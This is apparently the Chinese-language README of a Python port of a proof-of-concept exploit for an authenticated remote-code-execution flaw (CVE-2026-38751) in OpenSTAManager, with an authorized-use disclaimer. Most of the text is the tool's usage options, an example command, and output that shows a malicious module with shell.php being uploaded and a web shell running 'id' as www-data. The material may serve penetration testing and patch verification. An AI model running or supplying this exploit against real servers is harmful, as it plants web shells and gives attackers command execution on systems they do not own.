基于 Rust 的 POC b0ySie7e/OpenSTAManager-RCE-Exploit-CVE-2026-38751 的 Python 版本
b0ySie7e/OpenSTAManager-RCE-Exploit-CVE-2026-38751 的 Python 版本,原项目是一个基于 Rust 的 POC
本项目仅用于教育和经授权的安全测试目的。 未经授权,对您不拥有或未获得明确许可进行测试的系统使用本程序 是被严格禁止的,且可能违法。在运行任何形式的渗透测试或漏洞利用活动之前, 请务必获得适当的授权。对于因不当或非法使用本软件而导致的滥用或损害, 创建者不承担任何责任。
b0ySie7e 用 Rust 编写了一个更完善的 POC, 我个人不想安装 Rust,也不想费劲去阅读/理解 Rust 语法,所以我动手创建了这个 POC 的 简化 Python 版本。
usage: Evil OpenSTAManager-Module [-h] -u USERNAME -p PASSWORD -t TARGET [-m MODULE]
Basic Evil Module Generator for OpenSTAManager, based on CVE-2026-38751
options:
-h, --help show this help message and exit
-u, --username USERNAME
OpenSTAManager Username
-p, --password PASSWORD
OpenSTAManager Password
-t, --target TARGET OpenSTAManager URL
-m, --module MODULE Name of malicious module
python3 exploit.py -m aC1dbUrN -t http://example.com/ -u <username> -p <passwd>
[*] Logging in...
[+] Credentials are Valid!
[*] Checking if Vulnerable...
[+] Target is Potentially Vulnerable! (500)
[+] Module Updates Enabled!
[*] Creating Malicious Module: aC1dbUrN
[*] Created /home/user/aC1dbUrN/shell.php
[*] Zipping Module...
[+] Generated Module aC1dbUrN -> /home/user/aC1dbUrN.zip
[*] Uploading Evil Module...
[*] Upload status: 500
[+] Web-shell Uploaded Successfully!
|___ http://example.com//modules/aC1dbUrN/shell.php
|___. http://example.com//modules/aC1dbUrN/shell.php?cmd=id
|___ uid=33(www-data) gid=33(www-data) groups=33(www-data)